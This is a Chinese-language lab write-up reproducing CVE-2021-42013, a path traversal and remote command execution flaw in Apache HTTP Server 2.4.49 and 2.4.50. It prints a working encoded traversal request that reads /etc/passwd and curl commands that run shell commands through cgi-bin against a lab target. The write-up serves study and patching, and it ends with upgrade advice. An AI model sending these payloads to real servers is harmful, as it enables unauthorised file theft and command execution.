Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
0x01漏洞概述
Apache HTTP Server项目是为包括UNIX和Windows在内的现代操作系统开发和维护开源HTTP服务器的努力。
CVE-2021-42013是由CVE-2021-41773的不完整修复导致的漏洞,攻击者可以使用路径遍历攻击将URL映射到由类似Alias指令配置的目录之外的文件。
0x02影响版本
此漏洞影响 Apache HTTP Server 2.4.49 和 2.4.50,而不会影响更早版本。
0x03漏洞复现
(1)打开漏洞环境
docker-compose up -d
(2) 查看漏洞页面
http://ip地址:8080/
(3)利用burpsuite抓包
GET / HTTP/1.1
Host: 192.168.207.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Cache-Control: max-age=0
(4)发送到重发器,改包进行发送
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
(5)在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行
在另一台kali虚拟机输入以下命令:
命令1:curl -v --data "echo;id" 'http://靶机ip地址:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
命令2:curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.207.132:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
命令1运行结果:
命令2运行结果:
(6) 关闭靶场环境
docker-compose down
0x04修复方案
升级到最近版本的Apache HTTP Server。